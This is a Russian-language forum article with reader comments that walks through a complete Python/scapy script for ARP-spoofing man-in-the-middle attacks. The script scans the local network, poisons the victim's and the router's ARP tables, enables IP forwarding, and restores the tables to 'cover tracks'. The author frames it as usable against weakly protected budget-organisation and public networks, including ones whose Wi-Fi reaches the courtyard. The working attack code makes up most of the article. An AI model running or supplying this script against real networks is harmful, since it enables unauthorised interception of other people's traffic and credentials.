Статья Немного о MITM или ARP-spoofing с помощью Python

Об ARP-спуфинге говорят немало. Это один из простейших видов атаки Man-in-the-Middle. Решил и я внести посильный вклад в копилку информации, ибо не обошло это и меня, как начинающего писать код. Далее я опишу код на Python, который делает рассылку ARP-ответов атакуемой машине и роутеру. О целесообразности данного вида атак я напишу немного ниже.

000.png

Целесообразность данного вида атаки

Самая большая сложность будет заключаться в том, чтобы подсоединиться к атакуемой сети. И если, в случае с общественными Wi-Fi сетями проблем особых не возникнет, то вот подключение к сетям в каких-либо организациях может вызвать некоторые сложности. Но, предположим, что вы подключились. И тут начинается интересное. Многие сейчас начнут говорить о том, что современные маршрутизаторы защищены от данного вида атак. И да, так оно и есть. Вполне себе дорогущие Cisco. Но много ли таких маршрутизаторов стоит в организациях? Это уже вопрос. Не все могут себе позволить такую роскошь, если вы конечно не пенсионный фонд. Но это так, к слову.

А на деле, не буду говорить про города, ситуация довольно печальная. Ведь помимо городов есть и поселки городского типа. А уж в этих поселках я поработал в разного рода бюджетных организациях и могу сказать, что да, на выходе в интернет у некоторых стоят VipNet координаторы. Но, это только у некоторых. И только в интернет. А вот внутренние сети объединяются между собой с помощью дешевого оборудования. Разговоров о безопасности КИИ, то есть объектов критической информационной инфраструктуры много. Но, на деле все несколько печальнее.

К примеру, в некоторых организациях, не буду говорить каких, для передачи данных содержащих персональную информацию в другие организации стоит VipNet Client. Но и только. Все остальное передается просто так. Посредством обычной почты. А это львиная доля информации. Более того, даже серваки которые коннектятся к базам данных, не подключены к частной випнетовской сети. То есть, все передается напрямую. В общем и целом, если подытожить. Если вы попали внутрь такой сети, то у вас откроется большой простор для действий. А значит и целесообразность атак вполне себе оправдана.

Да, забыл упомянуть, что некоторые организации вообще уникумы. Помимо защищенной сети координатором проводят себе дополнительную точку доступа, к примеру, от Ростелекома и пользуются ей. А она зачастую имеет в своем составе Wi-Fi роутер. Знал я такую организацию, офис которой располагался на 4 этаже. А вот сигнал роутера можно было ловить во дворе здания. То есть, немного желания и прямые руки, и дорожка во внутреннюю сеть будет проложена. Другое дело, что это пгт, и там особо никто не задумывается о данной проблеме.


Что потребуется?

Установить библиотеку getmac, она будет нужна для определения локального mac-адреса машины. netifaces, для получения локального ip. Установить библиотеку scapy, которая и будет использоваться для отправки ARP-ответов. Ну и импортировать несколько стандартных модулей.

Код:
pip install getmac netifaces
pip install --pre scapy[basic]

Блок импорта после установки библиотек:

Python:
import os
import socket
import subprocess
import time

from getmac.getmac import _get_default_iface_linux
from netifaces import ifaddresses, AF_INET
import scapy.all as scapy

И да, атаковать сеть нужно будет из под Linux, а код запускать с правами суперпользователя. Так как с Windows машинами несколько все происходит сложнее.


Вспомогательные функции

Для начала давайте создадим несколько вспомогательных функций. Они облегчат проведение ARP-spoofing. В принципе, все сведется даже к тому, что нужно будет ввести только адрес атакуемой машины. И да, если сеть не раздает адреса по DHCP, то тут нужно будет постараться. И ручками менять код. Но, это другая история. У нас ведь идеальный тестовый стенд. Тем более, что перед данного вида атаками нужно провести хотя бы минимальную предварительную подготовку и исследовать ту сеть, которую будете атаковать.

Получаем локальный IP-адрес сетевого интерфейса, который используется в данный момент по умолчанию.

Python:
def local_ipv4():
    try:
        return ifaddresses(_get_default_iface_linux()).setdefault(AF_INET)[0]['addr']
    except TypeError:
        return '127.0.0.1'

Здесь, с помощью функции _get_default_iface_linux(), которая включена в библиотеку getmac получаем имя интерфейса по умолчанию. Затем, с помощью функции ifaddresses из библиотеки netifaces получаем IP-адрес. Если в данный момент нет сети, то возвращаем пользователю значение localhost.

Теперь нужно получить адрес шлюза по умолчанию. Ведь именно на него будет направлена атака. Для этого сделаем функцию get_gateway_linx(). Данная функция будет работать только в Linux. Для Windows машин это делается похоже, но команды используются несколько иные.

Python:
def get_gateway_linx():
    com = 'route -n'.split()
    ip_route = str(subprocess.check_output(com, shell=True)).split("\\n")[2].split()[1].strip()
    if ip_route.isdigit():
        return ip_route
    else:
        sock = socket.gethostbyname(ip_route)
        return sock

Здесь, с помощью subprocess.check_output получаем вывод команды «route -n», после чего обрезаем ее до нужного значения и передаем пользователю. Но, бывает, что вместо ip-адреса сюда прилетает сетевое имя, а значит, нужно сделать проверку, если не цифры, то с помощью сокета сделать запрос на получение ip по сетевому имени роутера. И после возвратить итог пользователю.

Теперь просканируем сеть на наличие в ней машин, их ip и mac адресов. Ведь нам нужно понимать и видеть, что мы будем атаковать, а не вводить наугад значения. Подробно останавливаться на данной функции не буду. Если вкратце, то она отправляет широковещательный ARP-запрос по всем ip адресам данной подсети, а именно той, в которой находится машина атакующего. И результат сканирования сохраняется в список из словарей. Функцию сканирования сети я уже описывал в этой статье.

Python:
def get_ip_mac_nework(ip):
    answered_list = scapy.srp(scapy.Ether(dst='ff:ff:ff:ff:ff:ff') / scapy.ARP(pdst=ip), timeout=1, verbose=False)[0]
    clients_list = []
    for element in answered_list:
        clients_list.append({'ip': element[1].psrc, 'mac': element[1].hwsrc})
    return clients_list

А также нужна функция печати, которая и выведет полученные значения в терминал. Поэтому создадим еще и функцию print_ip_mac(mac_ip_list), которая на входе получает созданный нами в предыдущей функции список ip и mac адресов и выводит на экран.

Python:
def print_ip_mac(mac_ip_list):
    print(f"\nКомпьютеры в сети:\n\nIP\t\t\tMAC-адрес\n{'-' * 41}")
    for client in mac_ip_list:
        print(f'{client["ip"]}\t\t{client["mac"]}')


Формирование и отправка пакетов

А теперь функции отправки ответов. Оригинальничать я не стал и назвал ее arp_spoof(target_ip, spoof_ip). На входе она получает адрес атакуемой машины и адрес цели, которой нужно передать данные об атакуемой машине, то есть адрес роутера. Или наоборот. Ведь нам нужно передавать пакеты в обе стороны. Чтобы и машина и роутер принимали машину атакующего за что-то другое. Со стороны роутера — за целевую машину. Со стороны машины — за роутер.

Python:
def arp_spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
                              psrc=spoof_ip)
    scapy.send(packet, verbose=False)

Здесь все просто. Создаем ARP-пакет, в котором с помощью опций указываем нужные параметры. op — принимаемое значение 1 или 2. Единица означает, что тип пакета собственно, запрос. А двойка — означает, что тип пакета — ответ. pdst — адрес атакуемой машины, целевой. hwdst — mac-адрес целевой машины. В данном случае он получается с помощью функции описанной ранее, то есть функции сканирования сети. Только в данном случае в функцию передается не вся подсеть, а конкретный адрес. psrc — адрес роутера.

Что здесь происходит? Создается пакет типа ответ, в котором передается информация о том, что я машина с таким-то IP и MAC адресом являюсь роутером. Так как передача данных идет в доверенной сети, то атакуемая машина автоматически записывает полученное значение в свою ARP-таблицу.

Ну, а далее, данный пакет передается в сеть. И параметр verbose, который подавляет вывод значений в терминал. Все довольно просто.


Восстановление ARP-таблицы

И да, давайте сразу создадим функцию которая будет принудительно восстанавливать значение атакуемой машины и роутера в ARP-таблицах для скрытия следов атаки. А то, мало ли чего. Хотя, так то, примерно через 2 минуты записи обновятся автоматически. Но, все же желательно замести следы. Создадим функцию restore_arp(target_ip, spoof_ip), которая также принимает адрес целевой машины и роутера. И так же как и в предыдущей функции формируем ARP-пакет. Но здесь мы явно указываем параметр hwsrc, которого не было в предыдущем пакете. По умолчанию, если данного параметра нет, то отправляется mac-адрес машины, с которой и уходит ARP-ответ. Но, нам то надо восстановить таблицы. Потому указываем, что mac-адрес машины отправившей данный ответ такой-то. То есть, для атакованной машины это будет реальный mac-адрес роутера, а для роутера машины. Ну и все это дело отправляем четыре раза, для большей уверенности, что ничего не потеряется, будет доставлено и принято. И также отключаем в машине атакующего ip форвардинг, то есть автоматическую пересылку всех пакетов.

Python:
def restore_arp(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
                       psrc=spoof_ip, hwsrc=get_ip_mac_nework(spoof_ip)[0]['mac'])
    scapy.send(packet, count=4, verbose=False)
    subprocess.call('echo 0 > /proc/sys/net/ipv4/ip_forward', shell=True)


Вызов ранее описанных функций

Ну и последняя функция main(). Делаем для начала проверку, запущен ли скрипт с правами суперпользователя:

Python:
if not os.getuid() == 0:
        print('\n[+] Запустите скрипт с правами суперпользователя!\n')
        return

Затем получаем локальный IP-машины, получаем адрес роутера. Выводим эту информацию на экран. На основании полученного IP сканируем сеть на наличии в ней машин, после чего, также выводим все это в терминал. А уже только после этого делаем запрос на ввод IP-адреса атакуемой машины. После чего переводим машину в режим ip-форвардинга.

Python:
local_ip = local_ipv4()
spoof_ip = get_gateway_linx()
print(f'\n[+] Локальный IP: {local_ip}\n[+] Адрес шлюза: {spoof_ip}')
ip_mac_network = get_ip_mac_nework(
f'{local_ip.split(".")[0]}.{local_ip.split(".")[1]}.{local_ip.split(".")[2]}.1/24')
print_ip_mac(ip_mac_network)
target_ip = input('\n[+] Введите адрес цели >>> ')
subprocess.call('echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True)

Затем отправляем пакеты. Устанавливаем счетчик, который будет показывать информацию о количестве отправленных пакетов. Вообще, этого можно было бы и не делать. Но так хотя бы видно, что происходит какое-то действие и скрипт продолжает работу. Делаем бесконечный цикл в котором вызываем функцию отправки пакетов сначала атакуемой машине, затем роутеру. Увеличиваем счетчик пакетов и выводим на экран. Делаем паузу в две секунды и повторяем все снова. Ну и заключаем все это в try-except, чтобы обработать прерывание работы скрипта с клавиатуры. Вызываем функцию восстановления таблицы сначала для атакуемой машины, а затем роутера. Выводим информацию о том, что все завершилось на экран.

Python:
packet_count = 0
    try:
        while True:
            arp_spoof(target_ip, spoof_ip)
            arp_spoof(spoof_ip, target_ip)
            packet_count = packet_count + 2
            print(f'\rОтправлено пакетов: {packet_count}', end="")
            time.sleep(2)
    except KeyboardInterrupt:
        restore_arp(target_ip, spoof_ip)
        restore_arp(spoof_ip, target_ip)
        print('\n\n[+] Восстановление ARP-таблиц закончено.\n[+] Good by!\n')

Вот в принципе и все. Скрипт для ARP-спуфинга готов. Можно попробовать как он работает в действии.

Python:
import os
import socket
import subprocess
import time

from getmac.getmac import _get_default_iface_linux
from netifaces import ifaddresses, AF_INET
import scapy.all as scapy


# получаем локальный IP-адрес
def local_ipv4():
    try:
        return ifaddresses(_get_default_iface_linux()).setdefault(AF_INET)[0]['addr']
    except TypeError:
        return '127.0.0.1'


# получение ip адреса шлюза используемого по умолчанию
def get_gateway_linx():
    com = 'route -n'.split()
    ip_route = str(subprocess.check_output(com, shell=True)).split("\\n")[2].split()[1].strip()
    if ip_route.isdigit():
        return ip_route
    else:
        sock = socket.gethostbyname(ip_route)
        return sock


def get_ip_mac_nework(ip):
    answered_list = scapy.srp(scapy.Ether(dst='ff:ff:ff:ff:ff:ff') / scapy.ARP(pdst=ip), timeout=1, verbose=False)[0]
    clients_list = []
    for element in answered_list:
        clients_list.append({'ip': element[1].psrc, 'mac': element[1].hwsrc})
    return clients_list


def arp_spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
                              psrc=spoof_ip)
    scapy.send(packet, verbose=False)


def restore_arp(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_ip_mac_nework(target_ip)[0]['mac'],
                       psrc=spoof_ip, hwsrc=get_ip_mac_nework(spoof_ip)[0]['mac'])
    scapy.send(packet, count=4, verbose=False)
    subprocess.call('echo 0 > /proc/sys/net/ipv4/ip_forward', shell=True)


# функция печати сканированных ip и mac
def print_ip_mac(mac_ip_list):
    print(f"\nКомпьютеры в сети:\n\nIP\t\t\tMAC-адрес\n{'-' * 41}")
    for client in mac_ip_list:
        print(f'{client["ip"]}\t\t{client["mac"]}')


def main():
    if not os.getuid() == 0:
        print('\n[+] Запустите скрипт с правами суперпользователя!\n')
        return
    try:
        local_ip = local_ipv4()
        spoof_ip = get_gateway_linx()
        print(f'\n[+] Локальный IP: {local_ip}\n[+] Адрес шлюза: {spoof_ip}')
        ip_mac_network = get_ip_mac_nework(
            f'{local_ip.split(".")[0]}.{local_ip.split(".")[1]}.{local_ip.split(".")[2]}.1/24')
        print_ip_mac(ip_mac_network)
        target_ip = input('\n[+] Введите адрес цели >>> ')
        subprocess.call('echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True)
    except KeyboardInterrupt:
        print('\n\n[+] Good by!\n')
        return

    packet_count = 0
    try:
        while True:
            arp_spoof(target_ip, spoof_ip)
            arp_spoof(spoof_ip, target_ip)
            packet_count = packet_count + 2
            print(f'\rОтправлено пакетов: {packet_count}', end="")
            time.sleep(2)
    except KeyboardInterrupt:
        restore_arp(target_ip, spoof_ip)
        restore_arp(spoof_ip, target_ip)
        print('\n\n[+] Восстановление ARP-таблиц закончено.\n[+] Good by!\n')


if __name__ == "__main__":
    main()

Запускаем скрипт. Видим информацию о машинах в сети. После чего вводим ip-жертвы и наблюдаем за работой.

001.png

002.png

Тут понятное дело, нужно теперь запустить что-то, что будет пакеты проходящие через нашу машину прослушивать и отлавливать нужную информацию. Можно воспользоваться Wireshark, а можно создать свой скрипт для прослушивания трафика. Но, об этом, возможно, в следующий раз.


Спасибо за внимание. Надеюсь, что данная информация кому-нибудь будет полезна
 
Последнее редактирование:

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 188
BIT
0
велосипед...
но чую что тебе нужно замутить captive-portal на этом замечательном языке) да бы в историю! попасть)
т.к. он имеется на Interceper-NG но там виндовс - это есть не практично , а вот на питоне зашло бы ) т.к. его + можно накатить на ту же raspbery как вариант..
+ уверен много бы людей с экономили на данной услуге, те же бюджетные отели бары и т.д. в общем везде бы это пригодилось)

как думаешь?
 
Последнее редактирование:

Johan Van

Green Team
13.06.2020
363
691
BIT
394
велосипед...
но чую что тебе нужно замутить captive-portal на этом замечательном языке) да бы в историю! попасть)
т.к. он имеется на Interceper-NG но там виндовс - это есть не практично , а вот на питоне зашло бы ) т.к. его + можно накатить на ту же raspbery как вариант..
+ уверен много бы людей с экономили на данной услуге, те же бюджетные отели бары и т.д. в общем везде бы это пригодилось)

как думаешь?

На captive-portal у меня знаний пока не хватит. Идея интересная. Но до попадания в историю, думаю, мне еще далековато )))
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!